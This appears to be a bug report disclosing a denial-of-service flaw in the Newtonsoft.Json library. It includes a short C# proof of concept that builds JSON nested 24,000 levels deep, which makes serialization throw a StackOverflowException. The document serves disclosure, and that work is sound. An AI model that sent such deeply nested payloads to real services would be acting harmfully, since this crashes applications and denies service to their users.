Applications that use Newtonsoft.Json might be exposed to DOS vulnerability

[wgscd]

Applications that use Newtonsoft.Json might be exposed to DOS vulnerability
https://alephsecurity.com/vulns/aleph-2018004

hope fix it.

sample code:
using System;
using System.IO;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;

namespace JsonTests
{
class Program
{
static void Main(string[] args)
{
//Create a string representation of an highly nested object (JSON serialized)
int nRep = 24000;
string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +
string.Concat(Enumerable.Repeat("}", nRep));

        //Parse this object (Parsing works well - no exception is being thrown)
        var parsedJson = JObject.Parse(json);
        
        using (var ms = new MemoryStream())
        using (var sWriter = new StreamWriter(ms))
        using (var jWriter = new JsonTextWriter(sWriter))
        {
            //Trying to serialize the object will result in StackOverflowException !!!
            parsedJson.WriteTo(jWriter);
        }

        //ToString throws StackOverflowException as well  (ToString is very unefficient - even for smaller payloads, it will occupy a lot of CPU & Memory)
        //parsedJson.ToString();

        //JsonConvert.SerializeObject throws StackOverflowException as well
        //string a = JsonConvert.SerializeObject(parsedJson);

    }
}

}